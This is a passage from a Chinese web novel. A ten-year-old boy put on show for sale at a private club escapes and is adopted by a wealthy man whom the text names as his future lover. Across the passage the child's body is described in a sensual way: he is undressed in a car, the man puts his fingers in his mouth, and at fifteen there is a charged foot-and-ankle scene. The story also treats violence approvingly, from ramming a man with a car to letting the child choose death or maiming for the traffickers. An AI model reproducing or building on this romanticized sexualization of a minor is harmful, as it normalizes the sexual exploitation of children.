男人低声笑了一下,抬手捏了下男孩的面颊,又拢着那双小巧的脚说:“不对。” 男孩瞬间睁大了双眼,拿起手中的玩偶朝着男人砸去,“叔叔骗我!青青这么聪明,说的一定是对的!” 随后踢开那只大手,站起身朝着床铺里面走去,坐在了角落,委屈的缩成了一团。 “轰隆!!” 又一声雷落下,隐忍的闷声尖叫再次响起。 男孩肩膀颤抖了一瞬,腰背弓起,仿佛警惕的小兽一般。 “害怕。” 他说着,眼中的积蓄出泪水,摇摇欲坠。 “乖,很快就不怕了。” 男人缓缓的将手中不知何时带下来的纱带缠绕在手腕上,前倾身体,按压在床铺上,指尖正好碰到那柔滑似水的裙角。 又一声雷落下,音乐却变得轻缓悠长。 灯光忽地被染上了烟粉色,变得朦胧起来。 裙角被攥出道道褶皱,男孩跟着传来的力道同样朝着男人而去。 那双黑漆漆的眼眸被水洗净,愈发显出冷酷漠然来。 仿佛出现在面前的只是一个无机质的人偶。 蓦地对上男孩的视线时,男人瞳孔倏然缩小,他下意识的想要后退,却被男孩踩住了手指。 冰冷的声音如烟,轻飘飘的钻进耳膜。 “别动。” 下面的宾客顺势改变了姿势,眼中浮现出兴奋来。 男人肩宽腿长,半跪在床边,拢起的肌肉如钢铁般坚硬,上面却缠绕着一道素白的轻飘的纱带,筋络顺着小臂延到手背,骨节凸出。 对面的男孩几乎要被他全然笼罩,身形单薄,神情可怜,手腕脚腕的骨骼明显,只贴着单薄的皮肉。 仿佛碰见了狮子的绵羊,一副害怕到僵直的模样。 收回视线,大腹便便的男人面容瞬间焦躁起来,对着手机大吼。 “怎么就不来了?!” “他连看都不看,就算是带来神仙表演也没用啊?!” “你那个西地被卡了多久了?!几百几千万都打水漂进去了,连毛都没见到!他楚霄说要过来的,怎么就能反悔?” 仿佛被对面气到了,大腹便便的男人从前胸口袋中掏出手帕开始擦脸上的汗。 擦着擦着他又开始暴起粗口来。 “你是不是蠢?!他来了代表这事有办法,他不出手别的人看他的面子上也会让我们松快松快的!不来这最后一丝希望都没有了,他根本不屑和我们做生意,明白吗?!” 中年男人胸膛连带着隆起的肚子剧烈起伏着,神情却从暴怒中快速冷静下来,他吩咐说: “去找,调他的行程,一定要拦截住,你跪下来求他也要把人带回来。” “我这就叫人再去买一个” “表演?既然已经开始还停毛停!反正是个男孩,损失不了什么,这个不行还有下一个!” 余音未落,整座大厅便猛地亮堂起来。 大厅已经被改造过,前面的舞台呈现半圆型,装饰高档典雅,下面举着香槟的众人踩着的是明净的大理石,天花板吊灯璀璨。 穿着礼服的主持人从一旁走来,面带笑容的说出了那早已烂熟于心的话术。 “欢迎各位贵客来参加这次的礼宴,不知道开场大家还满意不满意?” 无人回应,主持人皱了下眉,但是他又不是没有碰见过这样不配合的客人,很快就调整了一下,让情绪更加饱满,话语更加高昂富有感染力。 “看样子大家都沉迷进去了,这个孩子真的很像天使下凡呢!” “既然满意的话,那么这边就为各位介绍一下身份,各位贵客可以选择是否为这个可怜的孩子进行捐款,价高者,可以获得和这个孩子的一个游玩的机会。” “那么,现在” 主持人的话还没有说完,一道道尖叫声就充斥了整个大厅,跟随而来的,是前排慌乱的动静。 “啊啊啊啊!!!快走!” “杀人了!!” 椅凳倒塌,人群一窝蜂的朝着紧闭的大门冲去。 在二楼讲话的男人被吓了一跳,转身按着栏杆探头看去。 却只看见床铺旁边的幔帐垂下,模糊间,可以看见男孩站了起来。 “你,你唔——” 男人捂着喉咙看着面前手中握着玻璃碎片的一脸漠然的男孩。 鲜血顺着指缝溢出,砸在锦被上,层叠的纱上,还有波光粼粼的绸裙上,洇成了一团。 楚青琅伸手将绑缚在手腕的另一条纱带解开,仍在他的脸上。 “不乱动,做好止血,医生及时过来的话,你不会死。” 男人瞬间闭上嘴,手忙脚乱的拿着那个纱带自己捂住伤口,躺在了床上试图给一旁吓傻的主持人传话,让他叫救护车。 楚青琅瞥了一眼他,勾唇冷笑了一声。 随即跳下了床,拿着一捆放在床上特质的绳子就朝着舞台后方走去。 大厅虽然人多拥挤,但是他太小了,很容易被人发现。 只有来到黑暗中,他才能够得到生机,只要下到地下车库,他就有了离开这里的希望。 楚青琅响起自己叫的那两声,有点子想吐。 要不是为了放松他们的警惕,他才不会叫那个神经病这种称呼。 如果这次那个男人活下来了,楚青琅决定一定要把男人揍得叫他爸爸。 他胡思乱想着,不断的扯开自己的思绪,不让自己沉浸在愤怒之中。 在这三年里面,那个福利院还在正常的运行着,也不知道有了多少孩子被送了过来。 楚青琅瞬间回想起那个喂他糖果的,还有那个小大人一样的元哥。 也不知道他们怎么样了。 在一处拐角,楚青琅猛地停下了脚步。 仗着身材小,存在感低,他微微探出头。 十几个保镖快步穿过应急通道朝着楼下而去,电梯那里很明显也有人把手。 更不用说地下车库了。 他能够想到的,那些人当然也能够想到。 楚青琅攥紧了手中的绳子。 视线落到了一旁的窗户上。 火烧云早已不见,天空变成了深邃的蓝黑色,月亮被乌云遮挡,只露出了一角,像是要下雨。 闪亮的车灯照着前方,两旁的路灯直直伫立。 一个人影挡在车子前方,不住的乞求着。 “我们给您准备了接风宴,您看宴会都开始了,怎么能不见主角呢?” “楚先生,您就赏脸一聚可好?” “我们对您那可是向往依旧,都听过您年纪轻轻就缔造了整个商业帝国,比之父辈更加出色!” “” 驾驶座的上司机犹疑的抬头看着后视镜。 “先生?” 光芒被防窥膜尽数遮挡,看不清坐在后面的人的面容,只能看见一尘不染的皮鞋盈着冷光,西裤边缘线条锋利,苍白劲瘦的双手摆放在小腹,指间的戒指闪着猩红光彩。 仿佛被他吵醒,被叫做先生的人微微低下头,露出了一截白皙的下颌以及削薄暗红的唇瓣。 “撞过去。” 带着凉意的话语让司机打了一个激灵。 “是。” 发动机的声音响起,司机关闭远光灯,油门被猛地踩下。 车子毫不留情的朝着前方依然在苦苦乞求的人撞了过去。 那人猝不及防,只能发出一声尖叫,脚下却像是生根了一般。 “砰!” 碎片在周围飞溅,眼尾被划伤,留下一道深刻的红痕。 楚青琅并没有在意。 他踩在窗户的边缘,手中拽着绳子,低头看了一眼楼下。 他现在所在的地方是在三楼,绳子刚刚观察过了,虽然不够,但是他可以跳在一旁的树上,然后沿着树木爬下去。 楚青琅在脑海中规划了一下路线,直接跳了下去。 相比起细嫩掌心,就算是被打磨光滑的绳子也依然粗糙。 火辣辣的痛感传到神经,握着绳子的手却仿佛没有知觉一样没有丝毫颤抖。 楚青琅趁着门口巡逻的保安离开,他踢着墙壁,来回几下,终于借到了足够的力晃到了一旁的树冠上。 但是他的身躯和力气还是太小了,根本没有握到能够支撑的树枝,只能看着自己不断下坠。 “唔。” 树枝被他砸的弯折,尖锐的断面擦破油皮,在身上留下了道道伤痕。 但是还好,在千钧一发之时,楚青琅抓住了一根粗/壮的树枝,截停了自己坠下的势头。 “在哪里!” “快追!!!” 那些保镖已经发现了破损的窗户,楚青琅连休息都没有,直接爬了过去,沿着树干滑下。 一踩到地面,就拼命朝着前方跑去。 这个私人会所的车子很多,但是都在地下车库。 地形偏僻,开车过来的普通路人也很少 风声在耳边呼啸,四肢面容传来点滴湿润凉意,楚青琅恍惚了一会儿,才发现天上真的下雨了。 细密的雨丝在眼前连成了一片,前方干燥的路面被片片浸湿。 身后是快速接近的追逐声。 那凉意顺着皮肉钻进,仿佛虫子一样在身躯内部游走,将他的四肢逐渐麻痹。 他却依然毫不在意的驱使着自己的身体朝着前方奔跑而去。 水珠顺着发丝滴落,眼睛干涩,呼吸中满是铁锈气息。 莫名的,楚青琅腿部肌肉一阵抽动,他踉跄一步,摔倒在了地上,轻薄的绸布早已被划烂,光洁脊背上方的肩胛骨不住颤抖着。 仿佛被扯碎了翅膀的蝴蝶一样。 薄冰将他的骨节冰封,血丝在地上流淌,却没有察觉到丝毫痛意。 身后跟着的人终于追了上来,拿着对讲机报告。 “四组已找到目标。” 就在他们准备弯腰将楚青琅带走时。 一道尖锐的滴声响起。 连绵的雨丝中,刺眼的光芒由远及近,正正好停在他们的面前。 “谁?!” 在他们警惕的目光中,一个人持伞打开车门下了车子。 砰砰的心跳声在耳边回荡,四肢绵软起来。 忽的,富有规律的脚步声在他的面前停下,一道阴影笼罩全身。 还在想着怎么反击的楚青琅茫然抬头。 却只看见伞下是一张熟悉的英俊面孔。 轮廓立体,鼻梁挺直,眉窝很深,显得整个人带着阴郁难名的色彩。 那人微微垂眸,好似在思考着什么。 楚青琅定定瞧着他。 青年微微蹲下了身子,平视着他说:“需要帮忙吗?” 两人对视,他没有说话。 青年却伸出手将他抱起。 湿漉漉的雨水浸湿了昂贵的西装,带来一阵粘腻冷意。青年却毫不在意的模样,只是拨了一下男孩的发。 看着那双漂亮的,令人目眩神迷的双眸,还有瓷白肌肤上细碎的,可怖的血痕。 他面上的肌肉牵动,露出一个笑。 像是安抚。 第100章 第 100 章 小孩子。 “呃。” 青琅张口想要说话, 却察觉到自己无法发出声音。 咽喉痉挛,胸口剧烈的起伏着,被意志强行压下去的疼痛在这一刻反扑。 风雨凉意侵入,内脏却仿佛被火烧一般。 青琅在男人的怀抱中不自觉的低声喘息, 细白手指无力的攥紧男人的领口, 扯出道道褶皱, 男人顺着他的力道按住他的后背, 让他更容易借力。 大腹便便的男人穿着西装,并未拿伞, 从远处快步的小跑过来,面上堆着谄媚的笑。 “楚先生,欸,楚霄先生!” 怀中的孩子张开嘴,似乎想要说些什么, 却因为传来的声音而猛地瑟缩了一下。 楚霄垂着眼,神情平淡,一下一下的拍着男孩的后背。 掌心中是属于孩子的微凉瘦弱的后背, 脊骨突出, 触感鲜明, 丝绸轻纱摩擦着手腕,带来些微的痒意。 在他面前的保镖面面相觑, 一时不该知道作何动作。 一是楚霄身份高, 二是他也没有离开,因此他们只能僵硬在原地。 不远处的胖子跑到楚霄面前,眼珠子在他怀中的孩子身上转悠了一圈,又看了一眼他看不出情绪的脸,心中顿时有了猜测, 将手后背晃悠着。 一旁站在原地的保镖看见手势,纷纷收回了架势,后退开来。 “楚先生?您看这件事情闹得,这边一定会给您赔罪的,您请您请。” 短粗的手将擦汗的手帕随手塞进了胸袋中,胖子弯腰向前作势引路,一双眼却一眨也不眨的看着埋头在楚霄肩膀上的孩子。 他看了一会儿,楚霄没有动静,只能又笑着说:“看来您非常喜欢这个孩子呢,这个孩子叫青青,是最听话最机灵的。本来就是准备带给您见面的,规矩什么的都教导好了,您想要什么类型的都可以,只是想着给您一个惊喜,所以才没有提前将照片给您,希望您” 雨滴砸在伞面上,将那声音变得朦胧起来。 楚霄任由他在哪里说着,只是伸出手捻着怀中孩子的下巴,看着那一张强作镇定的小脸,低声问:“痛吗?” 男孩很明显的也听见了不远处的男人低声下气的话,明白面前的人身份很高,只是不清楚他到底是不是和他们一丘之貉。 他警惕的没有回话,珍珠一般的眼眸缩着,肌肉缓缓紧绷起来。 但是他的这点动静,在所有的皮肤贴着男人的时候,完全隐瞒不了。 楚霄拂过他眼皮上的伤痕,动作轻柔,话语却带着鲜明冷意。 “说话。” 男孩再次抖了一下,不知道是不是被吓到了,抓住他的手就咬了上去。 啪嗒—— 男人手中的黑伞被小手拍开,瞬间掉落在地。 水花溅起,将锃亮的皮鞋染上湿漉漉的痕迹。 英俊苍白的面容暴露出来,雨滴打落发丝,将平静无波的面容染上水痕,却衬得他更如大理石雕像一般。 眼睫平直,眸光冷静的凝视着宛如应激小兽一般的孩子。 这个遍体鳞伤的孩子仿佛用尽了全身力气,尖锐的细小的牙齿破开皮肉,鲜血顿时顺着唇角溢出。 但是只是爆发了一瞬,很快白皙的手就垂了下来,连深入皮肉的牙齿也失去了力气。 就像是小猫将指尖含进嘴中用牙齿轻蹭,被雨水打湿成一簇簇的眼睫黏在眼睑上,眼尾的一道伤痕深刻,猩红灼目。 温热感随着鲜血窜进神经,却毫无威慑力。 楚霄面上没有因为男孩的举动和突如其来的痛楚产生丝毫情绪。 很快,手指被吐出,湿凉黏意顿时缠绕上来。 那一双卷翘眼睫下黑亮的,清澈的眼瞳轻动,泪水积蓄而出,带着委屈。 仿佛下定了决心,男孩嘶哑着嗓音道:“帮我,痛。” 楚霄眼瞳极黑,静静的瞧了他几秒,弯曲手指楷下了青琅面颊挂着的泪水。 他说:“好。” 察觉到他的神情不对,弯腰曲背格外低微的胖子神情冷了下来,却依然笑眯眯道:“楚先生?您看再怎么青青也是我养大的孩子,您就这样抢过去不太好吧?我可是十几万才拿下来的,您看要不进去详谈一下,走一下正式的领养合同,对青青未来也更好不是吗?” 话音落在地上,却仿佛是自言自语。 胖子攥紧了手帕,几乎要用眼神将楚霄大卸八块。 肩宽腿长的男人穿着黑色的大衣,姿态矜贵傲慢。 大衣宽大,几乎将男孩全然拢进了怀中,意外的,他竟然看出了几分珍惜的感觉。 疯了吧? 他和这个孩子才见了一面。 楚霄不会真的是恋童癖吧? 明明心照不宣的,玩玩就行 而且该死的楚霄,他竟然从来没有接过他的一句话! 就像他是小丑,不,空气一样! 要不是他有权势,他这种样子早该被人弄死了! 胖子深吸了一口气,咬牙切齿道:“您来了都已经来了,青青身上的伤痕看起来不轻,要不先回我们那里处理一下子伤口?现在这风吹雨下的,万一感染了就不好了,小孩子的抵抗力啊什么东西?!” 惊叫声后,最先传来的却是一阵剧烈的冷风,从上下压,将垂下的雨丝都吹的斜斜漂浮起来,旋即是刺目的探照灯光,将胖子那一片地面照的几乎纤毫毕现。 保镖和胖子狼狈的捂住脸抬头,勉强辨认着。 面庞被吹来的风刮过,青琅疑惑的扭头,顿时张大了双眼。 他几乎是不可思议的看着那穿着战术服的人,顺着悬停在他们上方的直升机迅速滑降在他们的周围。 终于缓过来的胖子也注意到了这种情况,他一把抢过保镖的对讲机就开始说些什么,神情中带着恐惧。 又一辆车平稳的在他们的背后停下,穿着燕尾服的人车上走出,将手中的伞展开,阻挡了面前的一切,并温声报告。 “已经派人将此事报告给上面的领导了,证据也在搜集中,医院已经准备好。” 他伸出手,似乎是想要将孩子接过来。 “家主,您独自过来非常危险,毕竟狗急了也会跳墙,希望您能更看重一下自身的安全。” 楚霄避开他的手,看了一眼怀中的孩子那被震惊充斥的小脸,还有不自觉放松下来的身躯。弯起唇,露出了一个堪称愉悦的笑。 “嗯,做的不错。” 一旁的呼救声骤起,在这片风急雨烈的空间中,显得越发诡谲起来。 周身却传来温暖的感觉,那些所有的冷意都被大衣阻挡,青琅有些昏昏欲睡的靠在男人的怀中。 后背的轻抚规律又轻柔,很敏锐的避开了他所有的伤口。 耳边的呼救声戛然而止,青琅下意识掀起眼皮,却对上了那管家模样的人的视线。 带着金丝眼镜,斯文瘦削的面上是弧度标准的笑。 对视后,那人朝他轻抚胸口,弯了一下腰。 很恭敬的模样。 但是为什么? 青琅茫然的看他做完这一套。 楚霄忽地说:“你想要他们受到什么惩罚?” 遮挡住视线的雨伞缓缓移开,露出被穿着战术服的人按住双臂布条勒嘴的胖子,还有那些倒在地上的保镖。 楚霄为他调整了一下姿势,中间不可避免的碰到伤口,但是他却没有丝毫反应,只是认真的听着男人说话。 “判刑、死亡、断手断脚。还是将他们对那些孩子做的全部还到他们身上?” 声音平淡却带着无与伦比的自信,只要青琅说出来,男人就能为他做到。 “唔呜呜唔呜呜!!!” 胖子面上的表情因为恐惧而狰狞,得体的西装捆住身上的肉,让他在地上的摩擦都不显得那么狼狈。 青琅居高临下的看了一会儿,问:“福利院呢?” 男人将他朝着怀里按了一下,躲开捎来的雨丝,漫不经心道:“一样的,你决定。” 青琅的表情第一次有了变化。 眼尾下压,唇扯开上扬,面上伤疤拉扯间鲜血又再次涌出,混着血液露出一个灿烂天真的笑来。 “我都要。” 楚霄抚他后背的手顿了一下,又很快恢复了平静,他说:“会的。” 他轻飘飘的看了一眼倒在地上像只虫子一样挣扎的胖子,以及拉开麻醉枪支的手下,转身抱着男孩坐到了车子里面。 明明对于正常人来说,一个孩子不应该做出血腥的决定,更何况还要背负上他人的性命。 但是无论是楚霄还是青琅都对此没有丝毫感觉。 甚至于男人还在可惜。 可惜这个孩子还是太小了,不然就能自己动手报仇了。 砰! 声音落下,门被关上。 温暖的热气从四周吹拂而来,将雨丝的寒意祛除。 男人拿过来干燥的毛巾为男孩细细擦拭这身上的湿漉,沾去水渍。 男孩也乖巧的跪坐在他的腿上,身上薄薄的绸裙什么都遮挡不住,但是他却很习惯的样子,并未有着躲避的意思。 在头发被擦拭干后,男人朝他身上的裙子伸来,男孩配合的抬手。 绸裙被缓缓脱下,撂在一旁,泛着波光粼粼的光芒顺着皮质座椅滑落,仿佛在不经意间,被男人的皮鞋踩在了脚下。 单薄瘦弱的肩颈在空中泛着珍珠般的光泽,窄细的锁骨绵延到肩头,随着呼吸起伏不定。 下一刻却□□燥柔软的毛巾盖住。 因为突如其来的温暖,男孩白皙细长的小腿肌肉抽搐了一下,脚趾蜷缩着,仿佛要将自己藏起来。 车子平缓的动起来,后窗上,那趴在地面上的胖子和晕倒的保镖消失不见,只剩下路灯投下的光芒,在雨水中漾出碎芒。 座椅前男人把腿上的孩子弄干净,顺手也将自己浸湿的的大衣和西装外套脱下。 他扯下领带时并未忽视男孩望过来的目光,“怎么了?” 青琅的视线和他对上,认真道:“我能够说明福利院的伙伴出庭作证,还有,我能找出来证据。” 理智回归,青琅又说:“谢谢你,真的很感谢,你对我做什么都可以,我不会报复的。” 楚霄看了他一会儿,伸手拍了下他的后腰。 青琅冰封的小脸顿时裂开,腰肢一软,一头撞在了男人的胸口。 酝酿出来的感情被打破,他闷闷喊道:“你干嘛?!” 后颈被捏住,露出的腿被塞进毛巾里面,然后四角被打了个死结。 青琅瞬间像是一个不倒翁一样趴在男人的身上。 温暖从四肢百骸传来,将骨头都弄得酥软起来。 漂亮的面上飘着红,洁白整齐的牙齿摩擦着,晶亮的眼眸恨恨的瞧着神情自若的男人。 “放开我!” 楚霄靠在椅背上,双臂如野兽伸展开来,将他搂紧,按住。 “小孩子,说什么胡话。” 100-110 第101章 第 101 章 养的很好。 水洗后的天空湛蓝, 微风和煦,阳光明媚。 打开的窗户旁白色的纱帘微微荡起,一片树叶打着旋儿落进屋内,发出了轻微的声响。 躺在病床上的孩子眼睫轻颤, 缓缓睁开了双眼。 记忆在瞬间涌来。 楚青琅脸上隐约出现了略崩溃的神情。 他是因为回到十岁所以智商也跟着下降了吗?! 明明可以忍一下不那么冲动, 跟着买他的人过去, 到时候面对一个人可比面对一堆人来的轻松。 而且他竟然在车上对楚霄说什么对他做什么都行……楚青琅想起来就略微窒息, 现在他只想要在床上打个滚尖叫一声。 但是看着自己身上被包扎好的伤口,他还是放弃了。 只能说怪不得楚霄当时直接给他手动闭麦了。 “醒了?” 病房门恰好被打开。 穿着风衣的楚霄走来, 将手中的花放到了一旁的桌子上,将阳台的凳子拉过来坐下,随手拿着一个苹果削起了皮来。 他是之前的主神? 但是明显和主神不太一样,和兆歧他们也不太相同。 很有生气的样子,眼神也更加的冷静理智。 楚青琅躺在床上, 看了他一会儿,在男人用眼神示意的时候,伴随着削皮的细微声响, 他才慢吞吞的嗯了一声。 随即他手肘后仰试图坐起。 一只手却突然伸来按着他的肩膀, 将床摇了起来, 苹果皮垂在脸侧,带来湿凉。 皮质的风衣靠近, 胸膛将阳光遮挡, 楚青琅嗅见了一股清甜的苹果香气和细微的檀香气息。 痒意顺着面庞蔓延,他本能的微微偏头,张嘴将垂落的苹果皮咬断。 男人坐回去的动作顿了一下,眼神轻动。 虽然只是皮,但是在咀嚼的时候依然有着汁水在口腔迸溅, 浸润咽喉。 他几乎要咽下的时候,楚霄忽然俯下身,用指尖撬开他的唇,将手指深/入进去,那种檀香气息也悠悠的钻进口腔,抵着软腭被他空空吞进胃袋。 冰冷的戒指顶在下颌骨,带来闷闷的痛。 楚青琅不由得松了嘴,一团糊状物被男人从口中挖了出来,复又塞进一块完整的果肉。 临走前,男人反手用手背将他微张的唇合上。 嵌着红宝石的戒指在细嫩的皮肤上留下一个清浅红印。 咔哒—— 男人将手中的刀放到了床头柜上,楚青琅被惊醒,猛地抬手捂住嘴。 他咽了一下口水,眼瞳中带着鲜明的茫然之色。 “唔,你。” 楚青琅准备说话,却又感觉到口中的苹果,只能快速嚼碎咽下。 楚霄捻了一下手中的东西,因为男孩咀嚼很细,所以只剩下了一些沙砾一般的触感。 只是不知道是不是在福利院呆久了,所以这个孩子才会连皮都吃。 又或者只是他认为自己不会给他果肉,所以才会吃皮。 只是这两种想法,都让楚霄从心中感到不那么的愉快。 他站起身,走到一旁独立的洗漱间内,将手上的东西扔掉,站在镜子前打开了水龙头。 哗哗的水声中,楚霄听见那稚嫩的声音模糊传来。 “什么?领养合同?” 在楚霄离开后,病房门被重新打开,带着金丝边眼镜的斯文男人走了进来,停在了男孩的床边。 男人穿着规整,手中拿着一叠的纸张合同。 声音低柔,“小少爷,家主已经将您的档案迁移到了楚家名下,领养手续也已经走完,只要您同意的话,您就将是楚家的人。” “……” 那个小孩没有说话。 是在害怕吗? 毕竟小孩之前差点被卖出去。 而且他们也只是见了一面。 如果是他的话,也不会这么快的交付信任。 楚霄扭紧水龙头,看着镜子中的自己,眼中带着漠然。 楚青琅抬手做了一个停止的手势。 在管家平静含笑的目光中,他掀起被子朝着洗漱间走去。 如果他真的没有记忆就算了,但是现在这个楚霄是主神啊,也是他未来的恋人,如果真的缔结了领养关系。 那他们之间算什么?! 而且依照他的性格,在经历了这么一系列的事情之后,他本身就对领养产生心理阴影,一定不会同意的。 只是为什么楚霄会帮他。 楚青琅可不信是因为什么一见钟情。 他才十岁! 这间病房的格局很像是高端酒店,楚青琅因为身上的伤和缠绕的绷带,走过去的动作很慢。 一旁的管家很有耐心的等着他,也没有催促,甚至委婉道:“您需要我帮忙吗?” 楚青琅果断摇了摇头。 他要和楚霄单独谈谈,这关乎他们之后的发展。 于是等楚霄出来后,看见的就是一个姿势僵硬面无表情的小孩。 就像是一个小僵尸。 漂亮的身上缠满绷带的小僵尸。 心中积蓄的烦躁褪下些许,楚霄甚至有些哭笑不得。 他靠在厕所门口,看着男孩一步一步的朝他走来。 终于,小孩来到他的面前,仰头对他严肃道:“楚……霄先生,你为什么要帮我?” “我回答了你会同意领养吗?” 楚霄垂眸看他。 “不会。”楚青琅说:“只是,我想知道。” 他仰头,脖颈很快就酸痛起来,下一瞬阴影将他笼罩,男人站在他的面前,膝盖弯曲蹲了下来。 楚霄没有回答,只是问:“你应该知道我去那里了。” 楚青琅顺势转为平视,声音清脆,“你去墓地看谁了?” 带过来的白菊,身上的檀香,还有靠近时的湿雾气,很明显,楚霄不是会拿着花看他的人,如果可以,男人更会带水果篮子给他。 楚霄没有说话。 楚青琅上前一步,抓住他的风衣晃,“快回我。” 楚霄拿下他的手,伸手将人抱在怀中,向着病床走去。 “猜的很对,那是我父母的墓地,只是过去的时候忘了母亲不喜欢白菊花,就将花带了过来。” 他的父亲为了逃避责任,来到这里和母亲在一起,生下了双胞胎,随手将他扔到了楚家,留下了他的弟弟在身边。 可惜没有活多久,三个人死在了一起。 也算是全了他们的心愿,至少永远不会分开了。 楚青琅重新被封印在床上,四肢被塞进被子里,只露出了一双眼眸追随着男人的动作。 楚霄直起身,接过管家递过来的领养和同翻看着。 在管家出去后,楚霄又看了一会儿便合上文件,看着小孩风轻云淡的开口。 “帮你只是因为你想要活着,我向来看不得小孩子受委屈。” 楚青琅觉得不太对,除了这个原因肯定还有着别的联系。 他契而不舍的追问:“那你为什么还要收养我。” 楚霄漫不经心的回答:“大概是因为我想做爸爸了。” 又开始胡言乱语了。 楚青琅瞪他,“我不要!你顶多是我哥!” 楚霄拿过一旁的橘子开扒,细致的将里面白色经络去掉,然后掰下一瓣放到楚青琅唇边说: “你叫我哥,我当你爸,各论各的。” 楚青琅嚼嚼嚼,将橘子咽下,接着道:“你不说我是不会同意的,而且我自己一个人能够生活的很好,不需要你帮忙……” 又一瓣橘子放到唇边,楚青琅张口叼住,话音变得含糊。 “泥想当爸爸自己生小孩去,别随便捡到一个小孩就想养。” 楚霄抹去他唇角的汁水,淡定道:“那没办法,我就看上你了,你长得好看还聪明,很适合当我的继承人。” 楚青琅看他还想喂,连忙按住他的手,凑近看他无动于衷的面容,只觉得牙痒痒的。 “谁家继承人是那么随便定下来的啊?” 楚霄向他露出一个浅笑,将手抽出来捏了捏他的脸。 “我家的。” “你!” 楚青琅被噎住,男人神情软了一瞬,复又冷淡下来。 他站起身,将还剩一瓣的橘子放在床头,顺势按了一下呼叫铃,自顾自的做了决定。 “好了,这件事以后说,等你成年了你再想要不要进楚家,现在先好好休息吧。” “福利院的员工和院长已经全换了,你不用担心你的小伙伴。” “参与买卖的人也都抓起来了,到时候是死是活还是你自己动手,你一起决定吧。” 阳光勾勒着男人的背影,苍白的肤色几乎融进光中。 “不想顺着我的安排走,那就快点长大。” 语意未明的话落下,楚霄拍了下楚青琅的头,捻了捻柔软的发丝,转身离开。 病房门被打开,楚青琅看见男人的背影消失,只有管家站在原地,对着赶回来的医生交代着什么。 他啧了一声,将自己缩进了被子里。 原来当时的楚霄这么独裁! 好想快点长大。 …… “我为什么要去上学?” 楚青琅睁开眼,正好看见自己手中翻飞的匕首,寒光几乎连成一片,蠢蠢欲动的想要朝着前面射/去。 记忆涌入,使得他的动作凝滞了一瞬。 锋利的匕首势头却未停止,直直的朝着手指划去。 他几乎能够感受到那刀刃的寒意。 下一刻那匕首却被一只笔挡住挑起,擦着他的耳边飞过,刺到了墙壁上。 发出来一声沉闷的响声。 几缕发丝落下,白嫩玲珑的耳垂边缘,一条红线显现出来。 轻微的痛楚却使得思绪更加冷静。 冷淡沉稳的声音从身前传来。 “你不能一直呆在家里,家庭教育不足以填补你的社会认知,而且你现在的年纪,正好适合上学。” 话语说的冠冕堂皇。 还不是要把他赶出去。 楚青琅忍不住撇了下嘴。 他张了张手掌,看着窄瘦的骨骼,回忆着。 现在他已经十五岁了。 记忆中从医院出来后,他跟着楚霄就回到了楚家。 福利院中他的名字只有青琅二字,本来他改不改变加不加姓都无所谓的。 但是在后面购买东西认证身份信息的时候,他还是发现了姓名那一列已经变成了楚青琅。 很明显,是楚霄私自更改的。 当他打视频过去的时候,视频中先出现的是秘书的面孔,随即镜头晃动又平稳,男人的身影出现。 金灿灿的灯光下,楚霄手持香槟站在那里,西装领子处别着一枚金属领针,垂下的链条反射出冰冷光芒。 一副矜贵冷淡,拒人千里之外的模样。 “为什么突然给我加姓氏?” 他开口质问。 楚霄掀起眼皮,越过他看向身前,声音平静,“不好意思,我家小孩找我了,容我失陪一下。” 耳边很明显的传来一些应和声。 男人像是在参加宴会。 但是很快,镜头的光芒由明转暗,楚霄坐到了角落处沙发上。 他将手机举起,面上的冷凝消融了些许,扯了下领带笑说:“怎么了?” 青琅站在阳台上,冷声道:“你为什么要给我加姓氏?” 楚霄呼了一口气,手搭在沙发扶手上,脊背放松,懒懒回他,“早晚都要加的,毕竟你现在是我的小孩。” 青琅声音拉高,“你有毛病吧?!我什么时候同意了?” “为什么又不告诉我?!”他说:“我都十三岁了!已经长大了好不好?” 楚霄却看了他一会儿,皱了皱眉,“你是不是又没有好好吃饭?” 青琅爆发的情绪被打断,他下意识的抚摸了一下胃部,“你怎么知道的?” 少年下巴尖尖,面上好不容易带了些被养出来的肉,丰盈了一些。 现在一看,却又瘦了回去,却衬的那双眼愈发大而黑,眼睫像是羽扇一般围绕着,格外懵懂俊俏。 楚霄揉了下眼眶,将手中的酒放了回去。 “我回去说。” “不…” 青琅微微张了张嘴,只挤出一道声音,就被挂了视频。 不需要啊,他就是想要个说法。 其实男人只要告诉他,就算加上也无所谓。 别回来啊!!! 一回来他又要被看着吃饭了! …… 于是这件事就不了了之。 ……. 然后现在又来一次。 录取通知书都放到他的手里了,距离开学还剩下三天。 他竟然才知道! 楚青琅毫不在意的捏了下渗血的耳垂。 抬头看着面前办公桌前重新坐下的男人,抬手按着桌子跳了上去。 将电脑踢开,硬生生的将自己挤到了男人的面前。 十五岁的楚青琅被养的极好。 姿态神情是被金钱惯养出来的懒散清淡,俊美的面容略张开了一些,眼尾下垂,眼波含情,笑起来格外迷人。 他穿着衬衣马甲,西装裤包裹的腿笔直修长,此时带着恶意去踩男人的肩膀。 楚霄看着带着灰尘的鞋面靠近,肌肉紧绷了一瞬。 少年放松极了,仿佛脑海中丝毫没有给他会反抗或者生气的选项。 于是霸道又任性。 察觉到力道的加重,碾着皮肉钝痛。 楚霄想,是谁把少年养成这个样子的呢? 是他自己啊。 楚霄顺着力道靠在了椅背上。 钢笔从骨节分明的大手中滚落在桌面上,墨汁染在指间。 楚霄抬起了头,英俊的面容上带了些微的无奈。 他圈着少年的脚踝,指尖轻点,试图哄一哄他的孩子。 “别生气了,你的小伙伴也在那所学校。” 第102章 第 102 章 麻意。 楚青琅愣了一下。 “谁?” 脚踝处的手宽大炽热, 指尖摩擦的骨骼都带着麻意。 惹得他不自在的用脚尖碾了碾。 男人的肌肉跟着放松,踩上去又软又韧。 布料因为外力扭出褶皱,像一朵花一般将衣服的主人钉死在少年脚下。 楚霄却仿佛什么都没有感觉到一般,老神在在的坐在哪里。 他最烦这人这样的表情了, 就好像他无论做什么都不能让楚霄产生丝毫波动。 楚青琅也不是一上来就这么放肆的。 他在和楚霄相处第一年格外的谨慎, 揣度着自己的位置, 甚至没敢利用楚家的势力去查福利院的变化。 毕竟说是说做是做。 直到这点担忧轻易的被楚霄看破, 并让管家每一段时间给他录频,让他亲眼看着福利院里的生活环境有改变后才慢慢放下心。 至少楚霄没有骗他。 楚青琅也不是得寸进尺的人。 但是楚霄的忍耐和大度, 却总是会让他更加跃跃欲试的想要扩展自己的地盘。 想知道这个人对他的底线到底在那里。 于是从改变他的房间装饰,到改变整间屋子,再到对楚霄本人的试探。 一点一点的,他逐渐将目之所及都染上了属于他的色彩。 只是可惜的是。 楚霄对他从没有底线,无论做什么, 他都能全然接受。 